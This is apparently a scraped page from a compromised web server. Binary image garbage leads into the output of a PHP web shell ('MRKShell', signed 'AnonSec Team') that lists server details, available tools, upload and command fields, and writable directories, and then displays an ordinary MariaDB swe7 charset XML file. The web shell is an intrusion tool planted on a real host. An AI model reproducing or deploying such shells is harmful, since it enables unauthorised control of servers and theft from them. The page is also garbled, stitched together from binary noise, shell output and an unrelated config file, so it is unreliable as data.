JFIF # -$)%7&).0444#9?92>-240 5+#+4;224;652252222225222220222522225222522;2225222222"B!1AQa"q2B#R3br5CS/!12AQ"aRq#3 ??;}q7:bd%Ո>L8/$rsrQٷf=+e: Rb0Z6pN۰7b 1S`JAT K,-֥7(bNRb9CsD/s,9?}+KA]`,EΞ@@ 3ukq14""tD@D@D@D@D@D@D@D@D@D@D@ȓ|:^Yw-)G%AI/9pwVSнm@6=g7AA5tg18gj>F'J,{C3(q<*#AzX?[$va:Q4SԽ7Uԥ&,c}nF;3mO$DN}RySm\*I"}b%7GLj;gp{{FYs(p_xOJFtStǸMU蓰s95"#H'Uq>7F5[}>v%'Y,&CqMzn}m*Xo vl˳hrӦ V)))g`7$sz^%I-1leE]y%݉>?f}( *BNNñ𜤢S[i'T1 ӥԊ>NlHď~)pKw1.UsD LI/k]Sr\r=ߴMAZNKi+P}| qBS*G*z:Imk\_|l6A7߉H\z0賈'Zt_\u>4 {\#O[ERxzLvP wOLT C0ȴ]BAʷ7uNNINS,(DDDDDDDL8MY݂N$ dMK׭i2FesmNQ=?omKv]OVl^@&pɴ[t5+E`oy.E]Ϳ}$g(7y7&X+imcT\(cHɤ|=. C =yȗXʧpv=&cX*[X_i4 GtfFՓnbMjR@ thv4LO I0zlU-_*G!cH9`nԿ \k-~rS*c[}9]qbi~+%)(h($ s;dՒG_\ё[Q,plq!pEſA RZU0*\n]a~Md_3EZ { &8e:jR*dAkyۛs\B˞0Z5%6e`3;0slSx+Xȇ"*ozkE"vܬWاQ8r @ m5$ [/KNFycgrۑ@ {""""""|xd*@s7o~7BSG|܎vøGtЍL١ѬnK/, f~^~l/Ij+!JI'^;{˚*hӤJarʮ)ڱ[P^$;%.V FLJW̔?2ԭUpJe,~b%iW Yhz̻FAl|3ln"M4kM@$2wmͣp8JY)ݬ.]3vԩİ(P*Tb/1FXTg KŮ*C9jE[69d!GZȩMu!5`H\Cp"=wSAmJjCn&/*Q[kQ~b"zΕ~)aA(2EZ0(FÑp.66_φk}T5 YdRarK ɽLSj"SnR-N-Mz~F^Igb Jq(~X fH'Ӵp5_HN(ܰ,Ȍ䶛DK%a~?FuI}"p=U+j}'p&I_ɑ-x!IٮM:w|q;9M?.6x:ODѪ̬zTL`t^?8xJ$ Q cL4d/_xy ˔ SPGNgwSrrS/`5ӧKj ,hTpI=LѦ(,Pc4*4iESO?5sMz<`&_bsTO)fkX[ xqq::h9ifVۉ\_R }JVg~Jzm`(]:O &6IOghX6+HM 7X]RkUr{HL-"< >~28b{[><@6gF5&\1̹nVŕonZM7 (SF$l\sM];owE+IֹȫzɲDߌPcMQMG)b,N ;*!uo&rHT`s^7įĴz0?P&Ҫ3]@H:hڢFҢM~p{&0s?k}+Ι9׵mw >?"fs+Odٯ̌m(R9T:UpbkW=F*ZQh urk8C8@ҧeUԀyKS '.UP,NBcpFS6n=AJl*7 4<(XY_Cda/D=()b,{yHL>[jrǹ7#M7fO`o/w]GȈEU2f\?7a)#봙݂͠SEg>VRdPfF@PV"Ꮷ_(qCJG_0?1[% NKu$7&ۭ ߡ26U$`/ 3ES:/nek |\tmSg5 س}6/qDT "(*sP4SrX)%T(6y%_ Z9<%]B}oyyY"]76*U*vjijw i3D̍IS \Jnn9ۋ>%o;~)5u56槡'z* B5#5

5#a`,>1TW{Xɘ}G4"ҕ4z5F>e6*[\;%*U0LUUr2cpnݢkɜY͌3+bG0#el۴oe,,jO*M1X/3z)W^,p>s{ İQs:ޝd|w :fIe$~+ajXjnT80'S>KIUP&kNϒT=XlȞNڞ]Yz_K[Qׂގ\gq!nB@IoG *l;_뼳\RUeэkm)qh傢5KNz٘6ba:671k{  $N vfN]S7gxg=VjG;wBx t~l/"ʭl=ԝ6n[Dٛ]@"x)# E):\8Bvkcpv4O*;coJ?4ªMCA'.\zVð'w1USݻSlTyj/ gʕ,:S')ܴ]7!A^b%P׶ٮհU3 o\}XTp,e 597n}dk6UFrVǧ3qaR:BWn>Ѻ}oxKӦK)kܑKL tCs1#?升 v{r:u)?#ZxM=ڝYـ#e}JHBGTG>GsܞG2+~R̅Hש)$[*Hfx-ugx({ I7λwvYm~ |e'X#db@hW,0H8*J5AъA`;jȊY*&sh8Jn]"M>l3z%Րsy=Um'qF sX %,Uv|0W`Gzcy*V0'3R`5ޓ Hڙ>PWbw7;)[U(:krm>/ QU+)P>Hm!r -evY>wT7ԝe)^6_SN⚓ϫ('?2Sj5,[پd|+_Pv'[]t'mΝ2l}z/dz^E|"'J qED)R2ƂSg`9Ոu5~ d!G%>M6%pdcP-P L`ϼTQnA_,24G GneRn,XnߕSzV$ReBfZuE ,Z(yi?vO!clOYA [; c I|vCom+Hꡤ\eaӴ;XS|v4%FcϷAQ[yϢ_s+Ơ&pt}=%^Sb"#gĀ'[ oAUPzr;ȔZTy4t>f種ً>T؟GRgC^-WЖukS,G LV$ܱO餰%cp)[*X_v$@DDӢ3bE-V0֍?zySyadd\ j5": Bxi?;3a]1]ZFD澙rc|8uz/ CȎ3UTqb4'ҥX 6KʖYT2fPe$6 lGzSQTP} OL1q^*rxջQ_K?'?=V MR K IS HERE

MRKShell
Server IP : 172.67.193.120  /  Your IP : 172.71.28.168
Web Server : nginx/1.14.1
System : Linux comtuc2-s-2vcpu-8gb-160gb-intel-nyc3 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User : nginx ( 991)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/mariadb/charsets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/mariadb/charsets/swe7.xml
<?xml version='1.0' encoding="utf-8"?>

<charsets>

<copyright>
 Copyright (C) 2003 MySQL AB
   Use is subject to license terms

  This program is free software; you can redistribute it and/or modify
  it under the terms of the GNU General Public License as published by
  the Free Software Foundation; version 2 of the License.

  This program is distributed in the hope that it will be useful,
  but WITHOUT ANY WARRANTY; without even the implied warranty of
  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  GNU General Public License for more details.

  You should have received a copy of the GNU General Public License
  along with this program; if not, write to the Free Software
  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1335  USA
</copyright>

<charset name="swe7">

<ctype>
<map>
  00
  20  20  20  20  20  20  20  20  20  28  28  28  28  28  20  20
  20  20  20  20  20  20  20  20  20  20  20  20  20  20  20  20
  48  10  10  10  10  10  10  10  10  10  10  10  10  10  10  10
  84  84  84  84  84  84  84  84  84  84  10  10  10  10  10  10
  01  81  81  81  81  81  81  01  01  01  01  01  01  01  01  01
  01  01  01  01  01  01  01  01  01  01  01  01  01  01  01  10
  01  82  82  82  82  82  82  02  02  02  02  02  02  02  02  02
  02  02  02  02  02  02  02  02  02  02  02  02  02  02  02  20
  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
</map>
</ctype>


<lower>
<map>
  00  01  02  03  04  05  06  07  08  09  0A  0B  0C  0D  0E  0F
  10  11  12  13  14  15  16  17  18  19  1A  1B  1C  1D  1E  1F
  20  21  22  23  24  25  26  27  28  29  2A  2B  2C  2D  2E  2F
  30  31  32  33  34  35  36  37  38  39  3A  3B  3C  3D  3E  3F
  60  61  62  63  64  65  66  67  68  69  6A  6B  6C  6D  6E  6F
  70  71  72  73  74  75  76  77  78  79  7A  7B  7C  7D  7E  5F
  60  61  62  63  64  65  66  67  68  69  6A  6B  6C  6D  6E  6F
  70  71  72  73  74  75  76  77  78  79  7A  7B  7C  7D  7E  7F
  80  81  82  83  84  85  86  87  88  89  8A  8B  8C  8D  8E  8F
  90  91  92  93  94  95  96  97  98  99  9A  9B  9C  9D  9E  9F
  A0  A1  A2  A3  A4  A5  A6  A7  A8  A9  AA  AB  AC  AD  AE  AF
  B0  B1  B2  B3  B4  B5  B6  B7  B8  B9  BA  BB  BC  BD  BE  BF
  C0  C1  C2  C3  C4  C5  C6  C7  C8  C9  CA  CB  CC  CD  CE  CF
  D0  D1  D2  D3  D4  D5  D6  D7  D8  D9  DA  DB  DC  DD  DE  DF
  E0  E1  E2  E3  E4  E5  E6  E7  E8  E9  EA  EB  EC  ED  EE  EF
  F0  F1  F2  F3  F4  F5  F6  F7  F8  F9  FA  FB  FC  FD  FE  FF
</map>
</lower>


<upper>
<map>
  00  01  02  03  04  05  06  07  08  09  0A  0B  0C  0D  0E  0F
  10  11  12  13  14  15  16  17  18  19  1A  1B  1C  1D  1E  1F
  20  21  22  23  24  25  26  27  28  29  2A  2B  2C  2D  2E  2F
  30  31  32  33  34  35  36  37  38  39  3A  3B  3C  3D  3E  3F
  40  41  42  43  44  45  46  47  48  49  4A  4B  4C  4D  4E  4F
  50  51  52  53  54  55  56  57  58  59  5A  5B  5C  5D  5E  5F
  40  41  42  43  44  45  46  47  48  49  4A  4B  4C  4D  4E  4F
  50  51  52  53  54  55  56  57  58  59  5A  5B  5C  5D  5E  7F
  80  81  82  83  84  85  86  87  88  89  8A  8B  8C  8D  8E  8F
  90  91  92  93  94  95  96  97  98  99  9A  9B  9C  9D  9E  9F
  A0  A1  A2  A3  A4  A5  A6  A7  A8  A9  AA  AB  AC  AD  AE  AF
  B0  B1  B2  B3  B4  B5  B6  B7  B8  B9  BA  BB  BC  BD  BE  BF
  C0  C1  C2  C3  C4  C5  C6  C7  C8  C9  CA  CB  CC  CD  CE  CF
  D0  D1  D2  D3  D4  D5  D6  D7  D8  D9  DA  DB  DC  DD  DE  DF
  E0  E1  E2  E3  E4  E5  E6  E7  E8  E9  EA  EB  EC  ED  EE  EF
  F0  F1  F2  F3  F4  F5  F6  F7  F8  F9  FA  FB  FC  FD  FE  FF
</map>
</upper>


<unicode>
<map>
0000 0001 0002 0003 0004 0005 0006 0007 0008 0009 000A 000B 000C 000D 000E 000F
0010 0011 0012 0013 0014 0015 0016 0017 0018 0019 001A 001B 001C 001D 001E 001F
0020 0021 0022 0023 0024 0025 0026 0027 0028 0029 002A 002B 002C 002D 002E 002F
0030 0031 0032 0033 0034 0035 0036 0037 0038 0039 003A 003B 003C 003D 003E 003F
00C9 0041 0042 0043 0044 0045 0046 0047 0048 0049 004A 004B 004C 004D 004E 004F
0050 0051 0052 0053 0054 0055 0056 0057 0058 0059 005A 00C4 00D6 00C5 00DC 005F
00E9 0061 0062 0063 0064 0065 0066 0067 0068 0069 006A 006B 006C 006D 006E 006F
0070 0071 0072 0073 0074 0075 0076 0077 0078 0079 007A 00E4 00F6 00E5 00FC 0000
0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000
</map>
</unicode>


<collation name="swe7_swedish_ci">
<map>
  00  01  02  03  04  05  06  07  08  09  0A  0B  0C  0D  0E  0F
  10  11  12  13  14  15  16  17  18  19  1A  1B  1C  1D  1E  1F
  20  21  22  23  24  25  26  27  28  29  2A  2B  2C  2D  2E  2F
  30  31  32  33  34  35  36  37  38  39  3A  3B  3C  3D  3E  3F
  45  41  42  43  44  45  46  47  48  49  4A  4B  4C  4D  4E  4F
  50  51  52  53  54  55  56  57  58  59  5A  5C  5D  5B  59  5F
  45  41  42  43  44  45  46  47  48  49  4A  4B  4C  4D  4E  4F
  50  51  52  53  54  55  56  57  58  59  5A  5C  5D  5B  59  7F
  80  81  82  83  84  85  86  87  88  89  8A  8B  8C  8D  8E  8F
  90  91  92  93  94  95  96  97  98  99  9A  9B  9C  9D  9E  9F
  A0  A1  A2  A3  A4  A5  A6  A7  A8  A9  AA  AB  AC  AD  AE  AF
  B0  B1  B2  B3  B4  B5  B6  B7  B8  B9  BA  BB  BC  BD  BE  BF
  C0  C1  C2  C3  C4  C5  C6  C7  C8  C9  CA  CB  CC  CD  CE  CF
  D0  D1  D2  D3  D4  D5  D6  D7  D8  D9  DA  DB  DC  DD  DE  DF
  E0  E1  E2  E3  E4  E5  E6  E7  E8  E9  EA  EB  EC  ED  EE  EF
  F0  F1  F2  F3  F4  F5  F6  F7  F8  F9  FA  FB  FC  FD  FE  FF
</map>
</collation>

<collation name="swe7_bin"	flag="binary"/>

</charset>

</charsets>



Anon7 - 2022
AnonSec Team